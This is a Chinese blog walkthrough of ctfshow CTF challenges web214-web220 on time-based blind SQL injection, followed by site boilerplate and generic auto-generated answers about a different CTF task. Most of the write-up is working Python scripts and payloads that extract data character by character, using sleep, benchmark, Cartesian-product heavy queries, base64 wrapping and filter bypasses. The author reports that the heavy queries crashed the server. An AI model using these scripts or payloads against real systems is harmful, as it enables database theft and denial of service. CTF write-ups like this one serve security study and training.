ctfshow-SQL注入(web214-web220)

时间盲注 (最贴合实际的注入)


web214

什么都不存在 使用bp进行抓包看看有没有注入点

在原始页面刷新 抓包发现修改debug为1是返回结果是一个sql的查询语句 id可能存在注入点 

发现存在时间注入

使用web193脚本进行修改 

python盲注脚本

import requests
url = "http://63bf02d2-adaa-4048-aa71-54325ac0da02.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
        # print(payload) 用于检测问题的
        # 当前数据库 ctfshow_web
        # payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前数据表 answer=ctfshow_flagx,ctfshow_info
        # payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前字段名 id,flaga,info
        payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(1),2)".format(i, x)
        # 获取flag 

        print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

代码解释

得出flag


web215

加大一点满肚 使用单引号 以及屏蔽了部分内容 

思路就是 使用bp抓包 然后 使用简单的if语句 判断 盲注语句格式

需改debug 确实 提示确实使用了单引号

测试

需要注意两点 都是我遇见的问题

第一点 if不要在引号内 

第二点 不要使用and 使用or 因为and第一个如果是假的 and后的if不执行

正确方式 发生延时

就该web214脚本即可

import requests
url = "http://d13c1b01-08bf-4f64-98a9-3c571f7e6f59.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "' or if(substr(database(),{},1)='{}',sleep(1),2) #".format(i,x)
        # 当前数据库 ctfshow_web
        # payload = "' or if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "' or if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 当前字段名 id,flagaa,info
        payload = "' or if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2)#".format(i, x)
        # 获取flag

        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag


web216

对传入的值进行base64解码

在脚本中加上base64编码即可

没有了单引号

使用python中的 base64编码发现不行(说实话 没明白为什么不能成功)

import requests
import base64
url = "http://ad4c6815-733f-4b02-bf50-3df24be2d579.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        #payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
        payload = 'if(substr(database(),{},1)="{}",sleep(1),2)'.format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2)".format(i, x)
        # 当前字段名 id,flagaa,info
        # payload = "if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2)".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        payload = base64.b64encode(payload.encode())
        payload=payload.decode()
        print(payload)
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

那就使用mysql中to_base64从而与from_base64对应 成功

import requests
import base64
url = "http://ad4c6815-733f-4b02-bf50-3df24be2d579.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = 'to_base64(if(substr(database(),{},1)="{}",sleep(1),2))'.format(i, x)
        # 当前数据库 ctfshow_web
        payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2))".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        # payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),sleep(1),2))".format(i, x)
        # 当前字段名 id,flagaa,info
        # payload = "to_base64(if((substr((select flagaa from ctfshow_flagxc),{},1)='{}'),sleep(1),2))".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        print(payload)
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得到flag

还有一种方法 群主的方法 先用abc的base编码 之后再用or

这也是我不理解的地方 为什么我用pythonbase64编码就不可以成功


web217

哇塞 禁用了sleep 并且使用了括号将id括起来

那就使用benchmark 进行大量运算 来消耗时间

用bp先看看服务器的性能 看看该函数在服务器需要运算多少次 才能达到我们想要的效果

运算十万次差不多0.5s

我滴妈 运算弄多了 直接把服务器干崩了 需要等好久 为什么会崩 让服务器运算1亿次能不崩嘛

最终发现

benchmark(700000,md5(1)) timeout为0.5 是最好的效果

脚本

import requests
import base64
url = "http://35cbdf47-d435-4b65-bf15-a34a0cd4b132.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "if(substr(database(),{},1)='{}',benchmark(700000,md5(1)),2))#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),benchmark(700000,md5(1)),2))".format(i, x)
        # 当前数据表 answer=ctfshow_flagxccb,ctfshow_info
        # payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxccb'),{},1)='{}'),benchmark(700000,md5(1)),2))".format(i, x)
        # 当前字段名 answer=id,flagaabc,info
        payload = "if((substr((select flagaabc from ctfshow_flagxccb),{},1)='{}'),benchmark(700000,md5(1)),2)".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag


web218 

运算函数也被过滤了

还有一种方法 使用查询语句 查询大量数据从而消耗时间

本地先演示一次 users一共六条数据 最终会有36条数据 6*6=36  form后 如果是逗号 会进行排列组合 如果表足够大那么查询的数据也就相当大(原理不用理解 记住这么用能查询大量数据即可)该方式叫笛卡尔积

这个时候就能用上information的数据库了 里面肯定有大量数据特别是column的表

 这个api后面要加上一个/ 这是一位不同服务器有不同的html设置

编写poc 

ip=1) and if(2>1,
(select count(*) from(
(select table_name from information_schema.columns)a,
(select table_name from information_schema.columns)b,
(select table_name from information_schema.columns limit 1,7)c)
),2&debug=1

弄了一个小时 本地无法进行测试 不知道为什么 都好万亿条数据了 结果还是0.3s

延迟3.35s 是我们需要的结果 3.35经过测试 还是用以把服务器搞崩 把7修改为2 1.25s 差不多

用上一题的脚本 替换计算函数

import requests
import base64
url = "http://36718ac4-d06a-45f9-9da1-9e2f77643c26.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "1) and if(substr(database(),{},1)='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据表 answer=ctfshow_flagxc,ctfshow_info
        #
        # payload = "1) and if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxc'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前字段名 answer=id,flagaac,info
        payload = "1) and if((substr((select flagaac from ctfshow_flagxc),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag


web219

多屏蔽了一个rlike(也是延时的一种方法) 感觉对我们没用 用上一题脚本跑一下

import requests
import base64
url = "http://2c481109-978c-47e9-8a25-24a279c2a151.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "1) and if(substr(database(),{},1)='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 当前数据表 answer=cbfshow_flagxca,ctfshow_info
        # payload = "1) and if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxca'),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,1)c)),2)#".format(i, x)
        # 当前字段名 answer=id,flagaabc,info
        payload = "1) and if((substr((select flagaabc from ctfshow_flagxca),{},1)='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, x)
        # 获取flag
        # print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

得出flag


web220

对我们有影响的过滤就是 过滤了substr 那就使用left即可 并且过滤了concat 导致我们group_concat 不 能使用 但是可以是用limit 逐行获取 这个concat大师傅没讲 视频直接就是获取flag的步骤 大家一定注意concat也被过滤了 自己做完这题 感觉我好强 哈哈 虽然比较基础

import requests
import base64
url = "http://0e9bfbbf-7b8c-4909-bb48-60be102d9870.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        #payload = "1) and if(left(database(),{})='{}',(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 当前数据库 ctfshow_web
        # payload = "1) and if((left((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0,1),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 当前数据表 answer=ctfshow_flagxcac
        # payload = "1) and if((left((select column_name from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcac' limit 1,1),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,1)c)),2)#".format(i, flag+x)
        # 当前字段名 answer=flagaabcc
        payload = "1) and if((left((select flagaabcc from ctfshow_flagxcac),{})='{}'),(select count(*) from((select table_name from information_schema.columns)a,(select table_name from information_schema.columns)b,(select table_name from information_schema.columns limit 1,2)c)),2)#".format(i, flag+x)
        # 获取flag
        #print(payload) #用于检测问题的
        data = {
             "ip":payload,
             "debug":1,
         }
        if x == " ":
            a = 1
            break
        try:
            res = requests.post(url = url,data =data,timeout=0.5)
        except:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

获取表明

得出flag

  • 22
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
### 回答1: ctfshow-web-web红包题是一道CTF比赛中的网络安全题目。这道题目的背景是一个在线购物网站,要求我们通过安全漏洞来获得网站的红包。 首先,我们可以检查网站的源代码,寻找可能存在的漏洞。在网站的前端页面中,我们注意到了一个提交订单的功能,并且发现了其中一个参数可以被用户任意修改。这可能导致一个被称为SQL注入的漏洞。 我们试图通过在参数中插入恶意代码来进行SQL注入攻击。我们发现当我们输入`' or 1=1 -- `时,查询结果会返回所有订单记录,而不仅仅是当前用户的订单。这表明成功利用了SQL注入漏洞。 接下来,我们要尝试进一步利用这个漏洞来获取网站的红包。我们可以通过构建特制的SQL语句来绕过登录过程,直接获取红包的信息。 最终,我们成功地利用了网站存在的漏洞,获取到了红包的相关信息。这个过程展示了在网络安全竞赛中,如何通过分析代码和利用漏洞来实现攻击的目标。 在这个过程中,我们需要具备对SQL注入漏洞的理解和掌握,并且需要有一定的编程和网络安全知识。通过解决这样的题目,我们可以提高我们对网络安全攻防的认识和技能,以更好地保护网络安全。 ### 回答2: ctfshow-web-web红包题是一个CTF(Capture the Flag)比赛中的Web题目,目标是通过分析Web应用程序的漏洞来获取红包。CTF比赛是一种网络安全竞赛,在这种比赛中,参赛者需要通过解决各种不同类型的安全挑战来积分。 该题目中的Web应用程序可能存在一些漏洞,我们需要通过分析源代码、网络请求和服务器响应等信息来找到红包的位置和获取红包的方法。 首先,我们可以查看网页源代码,寻找可能的注入点、敏感信息或其他漏洞。同时,我们还可以使用开发者工具中的网络分析功能来查看浏览器和服务器之间的通信内容,找到可能存在的漏洞、密钥或其他敏感信息。 其次,我们可以进行输入测试,尝试不同的输入来检查是否存在注入漏洞、文件包含漏洞、路径遍历漏洞等。通过测试和观察响应结果,我们可以得到一些重要的信息和线索。 最后,我们可以分析服务器响应和错误信息,查找可能存在的网站配置错误、逻辑漏洞或其它任何可以利用的安全问题。此外,我们还可以使用常见的Web漏洞扫描工具,如Burp Suite、OWASP ZAP等,来辅助我们发现潜在的漏洞。 通过以上的分析和测试,我们有可能找到获取红包的方法。然而,具体的解题方法还需要根据题目中的具体情况来确定。在CTF比赛中,每个题目的设置都可能不同,解题的方法和思路也会有所差异。因此,在解题过程中,要保持敏锐的观察力和灵活的思维,尝试不同的方法和技巧,才能成功获取红包并完成任务。 ### 回答3: ctfshow-web-web红包题是一个CTF比赛中的网络题目,其目标是寻找并利用网页内的漏洞,获取红包。 首先,我们需要分析该网页的源代码,寻找可能存在的漏洞。可以通过审查元素、浏览器开发者工具等方式进行源代码分析。 其中,可能存在的漏洞包括但不限于: 1. 文件路径遍历漏洞:通过对URL的参数进行修改,尝试访问其他目录中的文件。 2. XSS漏洞:通过在用户输入的地方注入恶意代码,实现攻击者想要的操作。 3. SQL注入漏洞:通过修改数据库查询参数,获取未授权的数据。 4. 文件上传漏洞:上传恶意文件并执行。 一旦发现漏洞,我们需要进一步利用它们来获取红包。例如,如果存在文件路径遍历漏洞,我们可以尝试通过修改URL参数的方式,访问网站服务器上存放红包的文件目录,获取目录中的文件。 如果存在XSS漏洞,我们可以尝试在用户输入的地方注入一段JavaScript代码,以获取网页中的敏感信息或执行一些恶意操作,如窃取cookies。 如果存在SQL注入漏洞,我们可以尝试通过修改数据库查询参数,获取未授权的数据,如红包的具体位置或密码。 如果存在文件上传漏洞,我们可以尝试上传一个特殊设计的恶意文件,以执行任意命令或获取服务器上的文件。 综上所述,ctfshow-web-web红包题需要我们深入分析网页代码,发现可能存在的漏洞,并利用这些漏洞获取红包。这个过程需要我们对常见的漏洞类型有一定的了解,并具备相关的漏洞利用技术。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Hello-smile

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值